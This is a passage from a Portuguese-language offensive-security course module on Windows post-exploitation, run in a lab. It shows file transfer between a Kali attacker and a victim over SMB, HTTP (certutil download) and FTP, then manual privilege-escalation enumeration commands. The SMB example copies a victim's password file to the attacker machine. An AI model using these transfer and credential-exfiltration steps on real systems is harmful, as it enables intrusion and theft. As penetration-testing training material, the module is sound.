

OFFSEC

POS-EXPLORACAO WINDOWS



18

LISTA DE COMANDOS DE PROMPT DO SISTEMA OPERACIONAL

Comando de prompt 1 – Configurando um servidor SMB	5
Comando de prompt 2 – Acessando o servidor SMB.....	6
Comando de prompt 3 – Copiando arquivos.....	6
Comando de prompt 4 – Arquivo copiado da máquina vítima.....	7
Comando de prompt 5 – Procedimentos para enviar o arquivo para a vítima via HTTP	7
Comando de prompt 6 – Baixando o arquivo para a vítima	8
Comando de prompt 7 – Procedimentos para enviar o arquivo para a vítima via FTP	8
Comando de prompt 8 – Procedimentos para baixar o arquivo para a vítima via FTP	10
Comando de prompt 9 – Obtendo informações do usuário	12
Comando de prompt 10 – Obtendo informações dos usuários	12
Comando de prompt 11 – Obtendo informações do nome do host	13
Comando de prompt 12 – Obtendo informações da versão	13
Comando de prompt 13 – Obtendo uma lista de processos no sistema e encontrando serviços	15
Comando de prompt 14 – Listando a configuração TCP/IP completa.....	16
Comando de prompt 15 – Listando a rota	18
Comando de prompt 16 – Listando todas as conexões de rede ativa.....	18
Comando de prompt 17 – Listando o perfil atual para o firewall.....	19
Comando de prompt 18 -Listando todas as regras de firewall	20
Comando de prompt 19 – Listando todas as tarefas agendadas	22
Comando de prompt 20 – Listando todas as aplicações instaladas.....	23
Comando de prompt 21 – Listando todos os patches de segurança instalados	24
Comando de prompt 22 – Listando todos os arquivos e diretórios.....	25
Comando de prompt 23 – Listando todos os arquivos e diretórios.....	26
Comando de prompt 24 – Listando todas as unidades disponíveis para montar	27
Comando de prompt 25 – Listando drivers carregados.....	28
Comando de prompt 26 – Listando versões de driver	28
Comando de prompt 27 – Buscando pelos valores do registro AlwaysInstalledElevated.....	29
Comando de prompt 28 – Saída do executável gerado pelo PyInstaller	30
Comando de prompt 29 – Saída do windows-privesc-check.....	31
Comando de prompt 30 – Escalonamento com Meterpreter I	32
Comando de prompt 31 – Escalonamento com Meterpreter II	33
Comando de prompt 32 – Escalonamento com Meterpreter III	34
Comando de prompt 33 – eVIL-WINRM.....	34
Comando de prompt 34 – local_exploit_suggester	35
Comando de prompt 35 – Escalonamento com PowerShell I	36
Comando de prompt 36 – Escalonamento com PowerShell II	36
Comando de prompt 37 –Escalonamento com PowerShell III	36
Comando de prompt 38 – Escalonamento com PowerShell IV	37

SUMÁRIO

1 PÓS-EXPLORAÇÃO EM WINDOWS	4
1.1 Cuidados a serem tomados.....	4
2 DOWNLOAD DE ARQUIVOS VIA SMB	5
3 DOWNLOAD DE ARQUIVOS VIA HTTP	7
4 DOWNLOAD DE ARQUIVOS VIA FTP	8
5 ESCALONAMENTO DE PRIVILÉGIOS	10
5.1 Coleta de Informações	10
5.2 Enumeração Manual	11
5.2.1 Enumerando usuários	11
5.2.2 Enumerando o nome do host	12
5.2.3 Enumerando a versão e a arquitetura do sistema operacional	13
5.2.4 Enumerando processos e serviços em execução	14
5.2.5 Enumerando informações da rede	15
5.2.6 Enumerando estado e regras de firewall	19
5.2.7 Enumerando tarefas agendadas	21
5.2.8 Enumerando aplicações instaladas e níveis de patch.....	22
5.2.9 Enumerando diretórios e arquivos com permissão de leitura/escrita	24
5.2.10 Enumerando discos não montados	26
5.2.11 Enumerando drivers de dispositivo e módulos de kernel	27
5.2.12 Enumerando binários com AutoElevate	29
6 ENUMERAÇÃO AUTOMATIZADA.....	29
7 ESCALONAMENTO DE PRIVILÉGIOS COM METERPRETER	32
8 ESCALONAMENTO MANUAL DE PRIVILÉGIOS (POWERSHELL)	35
9 CONCLUSÃO.....	37
REFERÊNCIAS.....	38

1 PÓS-EXPLORAÇÃO EM WINDOWS

O termo *pós-exploração* se refere às ações que serão executadas assim que um atacante possuir algum tipo de controle sobre um alvo. Algumas ações de pós-exploração incluem elevação de privilégios, expansão de controle em máquinas adicionais, instalação de *backdoors*, limpeza de evidências do ataque, download de arquivos e ferramentas para a máquina-alvo etc.

1.1 Cuidados a serem tomados

Em alguns casos, precisaremos transferir ferramentas e utilitários de ataque para o nosso alvo. Porém, a transferência de tais ferramentas pode ser perigosa por vários motivos.

Em primeiro lugar, nossas ferramentas de ataque de pós-exploração podem ser abusadas por partes maliciosas, nas quais colocam recursos de clientes em risco. É extremamente importante documentar os envios e remoções de tais arquivos após a conclusão da avaliação.

Em segundo lugar, o software de antivírus, que realiza *scans* periodicamente nos sistemas de arquivos dos computadores, fica em busca de assinatura de arquivos predefinidos, tornando-se uma frustração durante essa fase. Esse software, que é onipresente na maioria dos ambientes corporativos, detecta nossas ferramentas de ataque, coloca-as em quarentena (tornando-as inúteis) e alerta um administrador de sistema.

Se o administrador do sistema for diligente, isso nos custará um precioso acesso remoto interno ou, em casos extremos, sinalizará o fim efetivo de nosso teste.

Como regra geral, devemos sempre tentar usar ferramentas nativas no sistema comprometido. Alternativamente, podemos carregar ferramentas adicionais, se as nativas forem insuficientes, quando determinarmos que o risco de detecção foi minimizado ou quando nossa necessidade superar o risco de detecção.

2 DOWNLOAD DE ARQUIVOS VIA SMB

Há vários métodos disponíveis para transferir arquivos externos para o Windows ou vice-versa. Porém, uma das maneiras mais efetivas é a utilização do protocolo SMB para realizar essa atividade. Para isso, utilizaremos uma máquina Kali simulando um atacante e um Windows 10 simulando a máquina-alvo.

```
root@Kali:~/Documents# mkdir smb
root@Kali:~/Documents# cd smb/
root@Kali:~/Documents/smb# echo "Arquivo malicioso 123" > file.txt
root@Kali:~/Documents/smb# impacket-smbserver PastaCompartilhada `pwd` -
smb2support
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Comando de prompt 1 – Configurando um servidor SMB
Fonte: Elaborado pelo autor (2021)

Primeiro, na máquina atacante, vamos criar um diretório chamado **smb** e, logo após, inserir um arquivo com um conteúdo dentro. Para, assim, iniciar um servidor SMB que suporte a versão 2.

Assim que estiver configurado, vamos nos conectar a esse servidor de SMB para ter acesso aos arquivos, utilizando a máquina da vítima.

```
PS C:\Users\aluno.FIAP> New-PSDrive -Name "PastaMaldosa" -PSProvider
"FileSystem" -Root "\\10.0.1.7\PastaCompartilhada"

Name          Used (GB)  Free (GB) Provider ...
----          -
PastaMa...    FileSystem ...

PS C:\Users\aluno.FIAP> cd PastaMaldosa:
PS PastaMaldosa:\> ls

Directory: \\10.0.1.7\PastaCompartilhada
```

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	2/14/2021 8:44 PM	22	file.txt

PS PastaMaldosa:\> **cat file.txt**
Arquivo malicioso 123

Comando de prompt 2 – Acessando o servidor SMB
Fonte: Elaborado pelo autor (2021)

Então, a partir daqui, é possível copiar ou mover arquivos da máquina vítima para a atacante e vice-versa, utilizando os comandos **Copy-Item** ou **Move-Item** do PowerShell. No Comando de prompt “Copiando arquivos”, é possível observar como copiar de um caminho para outro usando o Copy-Item. Isso também se aplica para o Move-Item. É realizada a cópia do arquivo **file.txt** para a pasta **Documents** do usuário logado. Então, é encontrado um suposto arquivo de senhas nomeado **senhas.txt** e, em seguida, copiado o arquivo da pasta Documents para o servidor SMB (que, no caso, é a máquina atacante, Kali).

PS PastaMaldosa:\> Copy-Item -Path PastaMaldosa:file.txt -Destination C:\Users\aluno.FIAP\file.txt

PS PastaMaldosa:\> cat C:\Users\aluno.FIAP\file.txt
Arquivo malicioso 123

PS PastaMaldosa:\> ls C:\Users\aluno.FIAP\Documents\

Directory: C:\Users\aluno.FIAP\Documents

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	2/14/2021 9:16 PM	49	senhas.txt

PS PastaMaldosa:\> Copy-Item -Path C:\Users\aluno.FIAP\Documents\senhas.txt -Destination PastaMaldosa:senhas.txt

PS PastaMaldosa:\> ls

Directory: \\10.0.1.7\PastaCompartilhada

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	2/14/2021 9:16 PM	49	senhas.txt
-a----	2/14/2021 8:44 PM	22	file.txt

Comando de prompt 3 – Copiando arquivos

Fonte: Elaborado pelo autor (2021)

Resultado da cópia na máquina atacante.

```
root@Kali:~/Documents/smb# ls
file.txt senhas.txt
root@Kali:~/Documents/smb# cat senhas.txt
Portal
admin:admin102030

RH
admin:admin@2021
```

Comando de prompt 4 – Arquivo copiado da máquina vítima
Fonte: Elaborado pelo autor (2021)

3 DOWNLOAD DE ARQUIVOS VIA HTTP

Outro método efetivo para transferir arquivos para Windows é a utilização de servidor Web. Porém, não há a necessidade de instalar um servidor Apache ou Nginx para realizar essa tarefa, podemos utilizar a própria linguagem Python para isso. No Comando de prompt “Procedimentos para enviar o arquivo para a vítima via HTTP”, iremos transferir um arquivo de texto para a máquina vítima.

```
root@Kali:~/Documents# mkdir http
root@Kali:~/Documents# cd http/
root@Kali:~/Documents/smb# echo "Arquivo malicioso 123456" > file.txt
root@Kali:~/Documents/http# ls
file.txt
root@Kali:~/Documents/http# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Comando de prompt 5 – Procedimentos para enviar o arquivo para a vítima via HTTP
Fonte: Elaborado pelo autor (2021)

Logo após executar esses comandos, vamos realizar o download do arquivo na máquina vítima utilizando uma ferramenta nativa do Windows, CertUtil.

```
C:\Users\IEUser\Downloads>certutil.exe -urlcache -f http://192.168.15.69/file.txt
file.txt
```

**** Online ****

CertUtil: -URLCache command completed successfully.

C:\Users\IEUser\Downloads>dir

Volume in drive C is Windows 10

Volume Serial Number is B009-E7A9

Directory of C:\Users\IEUser\Downloads

03/30/2021 09:11 AM <DIR> .

03/30/2021 09:11 AM <DIR> ..

03/30/2021 09:11 AM 25 file.txt

1 File(s) 25 bytes

2 Dir(s) 15,656,288,256 bytes free C:\Users\IEUser\Downloads>**type**

file.txt

Arquivo malicioso 123456

Comando de prompt 6 – Baixando o arquivo para a vítima
Fonte: Elaborado pelo autor (2021)

4 DOWNLOAD DE ARQUIVOS VIA FTP

Outro método bem incomum para transferir arquivos para Windows é a utilização de servidor FTP. Porém, não há a necessidade de instalar um servidor FTP para realizar essa tarefa. Podemos usar a própria linguagem Python para isso. No Comando de prompt “Procedimentos para enviar o arquivo para a vítima via FTP”, iremos transferir um arquivo de texto para a máquina vítima.

root@kali:~# **mkdir ftp**

root@kali:~# **cd ftp**

root@kali:~/ftp# **echo "Arquivo de teste" > teste.txt**

root@kali:~/ftp# **python -m pyftplib -p 21**

/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:14:

CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.

from cryptography import utils, x509

[I 2021-03-30 12:56:04] concurrency model: async

[I 2021-03-30 12:56:04] masquerade (NAT) address: None

[I 2021-03-30 12:56:04] passive ports: None

[I 2021-03-30 12:56:04] >>> starting FTP server on 0.0.0.0:21, pid=1751 <<<

Comando de prompt 7 – Procedimentos para enviar o arquivo para a vítima via FTP

Fonte: Elaborado pelo autor (2021)

Logo após executar esses comandos, vamos realizar o download do arquivo na máquina vítima utilizando uma ferramenta nativa do Windows, FTP. Observação: as credenciais usadas para se autenticar no FTP são *anonymous* / *anonymous*.

```
C:\Users\IEUser\Downloads>ftp 192.168.15.69
Connected to 192.168.15.69.
220 pyftplib 1.5.6 ready.
530 Log in with USER and PASS first.
User (192.168.15.69:(none)): anonymous
331 Username ok, send password.
Password:
230 Login successful.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
teste.txt
226 Transfer complete.
ftp: 14 bytes received in 0.00Seconds 14000.00Kbytes/sec.
ftp> get teste.txt
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 18 bytes received in 0.00Seconds 18000.00Kbytes/sec.
ftp> quit
221 Goodbye.
```

```
C:\Users\IEUser\Downloads>dir
Volume in drive C is Windows 10
Volume Serial Number is B009-E7A9

Directory of C:\Users\IEUser\Downloads

03/30/2021  09:56 AM  <DIR>      .
03/30/2021  09:56 AM  <DIR>      ..
03/30/2021  09:11 AM               25 file.txt
03/30/2021  09:56 AM               18 teste.txt
                2 File(s)          43 bytes
                2 Dir(s) 14,664,122,368 bytes free
```

```
C:\Users\IEUser\Downloads>type teste.txt
Arquivo de teste
```

Comando de prompt 8 – Procedimentos para baixar o arquivo para a vítima via FTP
Fonte: Elaborado pelo autor (2021)

5 ESCALONAMENTO DE PRIVILÉGIOS

Durante um teste de penetração, normalmente ganhamos uma posição inicial em um sistema como um usuário-padrão ou não privilegiado. Nesses casos, geralmente buscamos obter direitos de acesso adicionais antes de podermos demonstrar o impacto total do comprometimento. Esse processo é conhecido como escalonamento de privilégios e é uma habilidade necessária, uma vez que compromissos "direto à raiz" são, indiscutivelmente, raros nos ambientes.

Neste módulo, assumiremos que obtivemos acesso de usuário sem privilégios em um destino baseado em Windows e demonstraremos técnicas de escalonamento de privilégio nesses destinos.

Embora cada destino possa ser considerado único devido às diferenças nas versões do sistema operacional, níveis de patch e vários outros fatores, existem algumas abordagens de escalonamento comuns. Para aproveitá-las, pesquisaremos serviços configurados incorretamente, restrições de permissão de arquivo insuficientes em binários ou serviços, vulnerabilidades diretas de kernel, software vulnerável executado com altos privilégios, informações confidenciais armazenadas em arquivos locais, configurações de registro que sempre elevam privilégios antes de executar um binário, instalação scripts que podem conter credenciais codificadas e muitos outros.

5.1 Coleta de Informações

Depois de comprometer um alvo e ganhar posição inicial como um usuário sem privilégios, nosso primeiro passo é reunir o máximo possível de informações sobre nosso alvo. Isso nos permite compreender melhor a natureza da máquina comprometida e descobrir possíveis caminhos para o aumento de privilégios.

Nesta seção, utilizaremos como base o artigo *Windows Privilege Escalation Fundamentals* do site FuzzySecurity (<https://www.fuzzysecurity.com>), apresentando

técnicas para coleta e enumeração de informações de forma manual e automatizada.

5.2 Enumeração Manual

Enumerar manualmente um sistema pode ser demorado. No entanto, essa abordagem permite mais controle e pode ajudar a identificar métodos de escalonamento de privilégios mais exóticos que, muitas vezes, são perdidos por ferramentas automatizadas.

Alguns dos comandos neste módulo podem exigir pequenas modificações, dependendo das versões do sistema operacional de destino. Além disso, nem todos os comandos apresentados nesta seção serão replicáveis nos clientes dedicados.

5.2.1 Enumerando usuários

Ao obter acesso inicial a um destino, uma das primeiras coisas que devemos identificar é o contexto do usuário. O comando **whoami** é um bom lugar para começar. Quando executado sem parâmetros, **whoami** exibirá o nome de usuário com o qual o shell está sendo executado. Podemos passar o nome de usuário descoberto como um argumento para o comando **net user** para coletar mais informações.

```
C:\Users\student>whoami
client251\student
C:\Users\student>net user student
User name student
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/31/2018 10:37:35 AM
Password expires Never
Password changeable 3/31/2018 10:37:35 AM
Password required No
User may change password Yes
```

```
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/8/2019 12:56:15 PM
Logon hours allowed All
Local Group Memberships *Remote Desktop Users *Users
Global Group memberships *None
The command completed successfully.
```

Comando de prompt 9 – Obtendo informações do usuário
Fonte: Elaborado pelo autor (2021)

Com base na saída apresentada no Comando de prompt “Obtendo informações do usuário”, estamos executando como o usuário **student** e reunimos informações adicionais, incluindo os grupos aos quais o usuário pertence.

Para descobrir outras contas de usuário no sistema, podemos usar o comando **net user**.

```
C:\Users\student>net user
User accounts for \\CLIENT251
-----
admin Administrator DefaultAccount
Guest student WDAGUtilityAccount
The command completed successfully.
```

Comando de prompt 10 – Obtendo informações dos usuários
Fonte: Elaborado pelo autor (2021)

A saída revela outras contas, incluindo a conta **admin**.

5.2.2 Enumerando o nome do host

O nome de *host* de uma máquina pode fornecer dicas sobre suas funções. Na maioria das vezes, os nomes de *host* incluirão abreviações identificáveis, como **web** para um servidor web, **db** para um servidor de banco de dados, **dc** para um controlador de domínio etc.

Podemos descobrir o nome do host com o comando **hostname**.

```
C:\Users\student>hostname
client251
```

Comando de prompt 11 – Obtendo informações do nome do host
Fonte: Elaborado pelo autor (2021)

O nome bastante genérico da máquina Windows aponta para uma possível convenção de nomenclatura dentro da rede, que pode nos ajudar a encontrar estações de trabalho adicionais. Identificar a função de uma máquina pode nos auxiliar a concentrar nossos esforços de coleta de informações.

5.2.3 Enumerando a versão e a arquitetura do sistema operacional

Em algum ponto durante o processo de escalonamento de privilégios, podemos precisar contar com *exploits* de kernel que exploram vulnerabilidades específicas no núcleo do sistema operacional de um alvo. Esses tipos de *exploits* são desenvolvidos para um tipo muito específico de destino, especificado por um determinado sistema operacional e versão em combinação. Uma vez que atacar um alvo com uma exploração de kernel incompatível pode levar ao sistema instabilidade (causando perda de acesso e provavelmente alertando os administradores do sistema), devemos reunir informações precisas sobre o alvo.

No sistema operacional Windows, podemos reunir o sistema operacional e arquitetura específicos, além de informações com o utilitário **systeminfo**. Também podemos usar findstr junto com alguns sinalizadores úteis para filtrar a saída. Podemos combinar os padrões no início de uma linha com **/B** e uma string de pesquisa específica com **/C:**. No Comando de prompt “Obtendo informações da versão e arquitetura do sistema operacional em execução”, usaremos esses sinalizadores para extrair o nome do sistema operacional (Nome), sua versão (Versão) e arquitetura (Sistema).

```
C:\Users\student>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
System Type: X86-based PC
```

Comando de prompt 12 – Obtendo informações da versão e arquitetura do sistema operacional em execução
Fonte: Elaborado pelo autor (2021)

A saída indica que o sistema de destino está executando a versão 10.0.16299 do Windows 10 Pro em uma arquitetura x86.

5.2.4 Enumerando processos e serviços em execução

A seguir, vamos dar uma olhada nos processos e serviços em execução que podem elevar nossos privilégios.

Para que isso ocorra, o processo deve ser executado no contexto de uma conta privilegiada e deve ter permissões não seguras ou permitir que interajamos com ela de maneiras indesejadas.

Podemos listar os processos em execução no Windows com o comando **tasklist**. O sinalizador **/SVC** retornará processos mapeados para um serviço específico do Windows.

```
C:\Users\student>tasklist /SVC
Image Name PID Services
=====
=====
...
lsass.exe 564 KeyIso, Netlogon, SamSs, VaultSvc
svchost.exe 676 BrokerInfrastructure, DcomLaunch, LSM,
PlugPlay, Power, SystemEventsBroker
fontdrvhost.exe 684 N/A
fontdrvhost.exe 692 N/A
svchost.exe 776 RpcEptMapper, RpcSs
dwm.exe 856 N/A
svchost.exe 944 Appinfo, BITS, DsmSvc, gpsvc, IKEEXT,
iphlpvc, LanmanServer, lfsvc, ProfSvc,
Schedule, SENS, SessionEnv,
ShellHWDetection, Themes, TokenBroker,
UserManager, winmgmt, WpnService
svchost.exe 952 TermService
svchost.exe 960 BFE, CoreMessagingRegistrar, DPS, MpsSvc
svchost.exe 988 Dhcp, EventLog, Imhosts, TimeBrokerSvc,
WinHttpAutoProxySvc, wscsvc
...
mysqld.exe 1816 mysql
...
```

Comando de prompt 13 – Obtendo uma lista de processos no sistema e encontrando serviços
Fonte: Elaborado pelo autor (2021)

A saída revela que o serviço MySQL está sendo executado na máquina, o que pode ser interessante nas condições certas.

Lembre-se de que essa saída não lista processos executados por usuários privilegiados. Precisaremos de altos privilégios para coletar essas informações, o que torna o processo mais difícil.

5.2.5 Enumerando informações da rede

A próxima etapa em nossa análise do host de destino é revisar as interfaces de rede, rotas e portas abertas disponíveis.

Essas informações podem nos ajudar a determinar se o alvo comprometido está conectado a várias redes e, portanto, pode ser usado para pivotar. Além disso, a presença de interfaces virtuais específicas pode indicar a existência de software de virtualização ou antivírus.

“Um invasor pode usar um alvo comprometido para pivotar ou mover-se entre as redes conectadas. Isso ampliará a visibilidade da rede e permitirá que o invasor atinja hosts não visíveis diretamente da máquina de ataque original”. (ABSOLOMB, 2021).

Também podemos investigar portas em "bind" para ver se um serviço em execução está disponível apenas em um endereço de *loopback*, em vez de em um roteável. Investigar um programa ou serviço privilegiado que escuta na interface de *loopback* pode expandir nossa superfície de ataque e aumentar nossa probabilidade de um ataque de escalonamento de privilégio.

Podemos começar nossa coleta de informações com **ipconfig**, usando o sinalizador **/all** para exibir a configuração TCP/IP completa de todos os adaptadores.

```
C:\Users\student>ipconfig /all
Windows IP Configuration

Host Name . . . . . : client251
Primary Dns Suffix . . . . . : corp.com
Node Type . . . . . : Hybrid
```

```

IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : corp.com
Ethernet adapter Ethernet0:
    Connection-specific DNS Suffix . :
    Description . . . . . : Intel(R) 82574L Gigabit Network Connection
    Physical Address. . . . . : 00-0C-29-C1-ED-B0
    DHCP Enabled. . . . . : No
    Autoconfiguration Enabled . . . . : Yes
    Link-local IPv6 Address . . . . : fe80::bc64:ab2f:a10f:edc9%15(Preferred)
    IPv4 Address. . . . . : 10.11.0.22(Preferred)
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . :
    DHCPv6 IAID . . . . . : 83889193
    DHCPv6 Client DUID. . . . . : 00-01-00-01-25-55-82-FF-00-0C-29-C1-ED-B0
    DNS Servers . . . . . : 10.11.0.2
    NetBIOS over Tcpip. . . . . : Enabled
Ethernet adapter Ethernet1:
    Connection-specific DNS Suffix . :
    Description . . . . . : Intel(R) 82574L Gigabit Network Connection #2
    Physical Address. . . . . : 00-0C-29-C1-ED-BA
    DHCP Enabled. . . . . : No
    Autoconfiguration Enabled . . . . : Yes
    Link-local IPv6 Address . . . . : fe80::9d3e:158a:241b:beb7%4(Preferred)
    IPv4 Address. . . . . : 192.168.1.111(Preferred)
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.1.1
    DHCPv6 IAID . . . . . : 167775273
    DHCPv6 Client DUID. . . . . : 00-01-00-01-25-55-82-FF-00-0C-29-C1-ED-B0
    DNS Servers . . . . . : fec0:0:0:ffff::1%1
                           fec0:0:0:ffff::2%1
                           fec0:0:0:ffff::3%1
    NetBIOS over Tcpip. . . . . : Enabled

```

Comando de prompt 14 – Listando a configuração TCP/IP completa
em todos os adaptadores disponíveis
Fonte: Elaborado pelo autor (2021)

Essa máquina possui várias interfaces de rede. A seguir, vamos dar uma olhada em suas tabelas de roteamento.

Para exibir as tabelas de roteamento de rede, usaremos o comando **route** seguido do argumento **print**.

```
C:\Users\student>route print
```



```
=====
=====
Interface List
15...00 0c 29 c1 ed b0 .....Intel(R) 82574L Gigabit Network Connection
4...00 0c 29 c1 ed ba .....Intel(R) 82574L Gigabit Network Connection #2
1.....Software Loopback Interface 1
=====
=====
IPv4 Route Table
=====
=====
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.111 281
0.0.0.0 0.0.0.0 10.11.0.2 10.11.0.22 281
10.11.0.0 255.255.255.0 On-link 10.11.0.22 281
10.11.0.22 255.255.255.255 On-link 10.11.0.22 281
10.11.0.255 255.255.255.255 On-link 10.11.0.22 281
127.0.0.0 255.0.0.0 On-link 127.0.0.1 331
127.0.0.1 255.255.255.255 On-link 127.0.0.1 331
127.255.255.255 255.255.255.255 On-link 127.0.0.1 331
192.168.1.0 255.255.255.0 On-link 192.168.1.111 281
192.168.1.111 255.255.255.255 On-link 192.168.1.111 281
192.168.1.255 255.255.255.255 On-link 192.168.1.111 281
224.0.0.0 240.0.0.0 On-link 127.0.0.1 331
224.0.0.0 240.0.0.0 On-link 192.168.1.111 281
224.0.0.0 240.0.0.0 On-link 10.11.0.22 281
255.255.255.255 255.255.255.255 On-link 127.0.0.1 331
255.255.255.255 255.255.255.255 On-link 192.168.1.111 281
255.255.255.255 255.255.255.255 On-link 10.11.0.22 281
=====
=====
Persistent Routes:
Network Address Netmask Gateway Address Metric
0.0.0.0 0.0.0.0 192.168.1.1 Default
0.0.0.0 0.0.0.0 10.11.0.2 Default
=====
=====
IPv6 Route Table
=====
=====
Active Routes:
If Metric Network Destination Gateway
1 331 ::1/128 On-link
```

```

4 281 fe80::/64 On-link
15 281 fe80::/64 On-link
4 281 fe80::9d3e:158a:241b:beb7/128
On-link
15 281 fe80::bc64:ab2f:a10f:edc9/128
On-link
1 331 ff00::/8 On-link
4 281 ff00::/8 On-link
15 281 ff00::/8 On-link

```

```

=====
=====
Persistent Routes:
None

```

Comando de prompt 15 – Listando a rota
 Fonte: Elaborado pelo autor (2021)

Finalmente, podemos usar o **netstat** para visualizar as conexões de rede ativas. Especificar o sinalizador **a** exibirá todas as conexões TCP ativas, o sinalizador **n** nos permite mostrar o endereço e o número da porta em um formato numérico e o sinalizador **o** indicará o PID do proprietário de cada conexão.

```

C:\Users\student>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 7432
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 776
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1472
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 952
TCP 0.0.0.0:8895 0.0.0.0:0 LISTENING 2284
TCP 0.0.0.0:9121 0.0.0.0:0 LISTENING 7432
...
TCP 127.0.0.1:49689 127.0.0.1:49690 ESTABLISHED 2284
TCP 127.0.0.1:49690 127.0.0.1:49689 ESTABLISHED 2284
TCP 127.0.0.1:49691 127.0.0.1:49692 ESTABLISHED 2284
TCP 127.0.0.1:49692 127.0.0.1:49691 ESTABLISHED 2284
...

```

Comando de prompt 16 – Listando todas as conexões de rede ativa
 Fonte: Elaborado pelo autor (2021)

O **netstat** não apenas nos forneceu uma lista de todas as portas em modo "listening" na máquina, mas também incluiu informações sobre conexões

estabelecidas que podem revelar outros usuários conectados a essa máquina, que podemos querer visar mais tarde.

5.2.6 Enumerando estado e regras de firewall

De um modo geral, o estado, o perfil e as regras de um *firewall* são de interesse apenas durante a fase de exploração remota de uma avaliação. No entanto, essas informações podem ser úteis durante o escalonamento de privilégios. Por exemplo, se um serviço de rede não pode ser acessado remotamente porque está bloqueado pelo firewall, localmente, é possível por meio da interface de *loopback*.

Se interagirmos com esses serviços localmente, podemos explorá-los para aumentar nossos privilégios no sistema local. Além disso, podemos coletar informações sobre a filtragem de portas de entrada e saída durante esta fase para facilitar o encaminhamento de portas e o encapsulamento quando for hora de pivotar para uma rede interna.

Podemos inspecionar o perfil de firewall atual usando o comando **netsh**.

```
C:\Users\student>netsh advfirewall show currentprofile
Public Profile Settings:
-----
State ON
Firewall Policy BlockInbound,AllowOutbound
LocalFirewallRules N/A (GPO-store only)
LocalConSecRules N/A (GPO-store only)
InboundUserNotification Enable
RemoteManagement Disable
UnicastResponseToMulticast Enable
Logging:
LogAllowedConnections Disable
LogDroppedConnections Disable
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
Ok.
```

Comando de prompt 17 – Listando o perfil atual para o firewall
Fonte: Elaborado pelo autor (2021)

Neste caso, o perfil de firewall atual está ativo, então, vamos dar uma olhada nas regras de firewall.

Podemos listar as regras de firewall com o comando **netsh**, usando a seguinte sintaxe:

```
C:\Users\student>netsh advfirewall firewall show rule name=all
Rule Name:
@{Microsoft.Windows.Photos_2018.18022.15810.1000_x86__8wekyb3d8bbw}
-----
Enabled: Yes
Direction: In
Profiles: Domain,Private,Public
Grouping: Microsoft Photos
LocalIP: Any
RemoteIP: Any
Protocol: Any
Edge traversal: Yes
Action: Allow
Rule Name:
@{Microsoft.Windows.Photos_2018.18022.15810.1000_x86__8wekyb3d8bbw}
-----
Enabled: Yes
Direction: Out
Profiles: Domain,Private,Public
Grouping: Microsoft Photos
LocalIP: Any
RemoteIP: Any
Protocol: Any
Edge traversal: No
Action: Allow
Rule Name:
@{Microsoft.XboxIdentityProvider_12.39.13003.1000_x86__8wekyb3d8bbw}
-----
...
```

Comando de prompt 18 -Listando todas as regras de firewall

Fonte: Elaborado pelo autor (2021)

De acordo com as duas regras de firewall listadas acima, o aplicativo **Microsoft Photos** tem permissão para estabelecer conexões de entrada e saída para qualquer endereço IP, usando qualquer protocolo.

Lembre-se de que nem todas as regras de firewall são úteis, mas algumas configurações podem nos ajudar a expandir nossa superfície de ataque.

5.2.7 Enumerando tarefas agendadas

Os invasores geralmente aproveitam as tarefas agendadas em ataques de escalonamento de privilégios. Os sistemas que atuam como servidores executam periodicamente várias tarefas automatizadas e programadas. Os sistemas de agendamento nesses servidores costumam ter uma sintaxe um tanto confusa, que é usada para arquivos executáveis ou scripts criados pelo usuário.

Quando esses sistemas estão configurados incorretamente ou os arquivos criados pelo usuário são deixados com permissões inseguras, podemos modificar esses arquivos que serão executados pelo sistema de agendamento em um alto nível de privilégio.

Podemos criar e visualizar tarefas agendadas com o comando **schtasks**. O argumento **/query** exibe tarefas e **/fo LIST** define o formato de saída para uma lista simples. Também podemos usar **/v** para solicitar uma saída detalhada.

```
c:\Users\student>schtasks /query /fo LIST /v
Folder: \
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Office
HostName: CLIENT251
TaskName: \Microsoft\Office\Office 15 Subscription Heartbe
at
Next Run Time: 11/12/2019 3:18:24 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/11/2019 3:49:25 AM
Last Result: 0
Author: Microsoft Office
Task To Run: %ProgramFiles%\Common Files\Microsoft Shared\Off
ice16\OLicenseHeartbeat.exe
Start In: N/A
Comment: Task used to ensure that the Microsoft Office Su
bscription licensing is current.
```

```
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format
Schedule Type: Daily
Start Time: 12:00:00 AM
Start Date: 1/1/2010
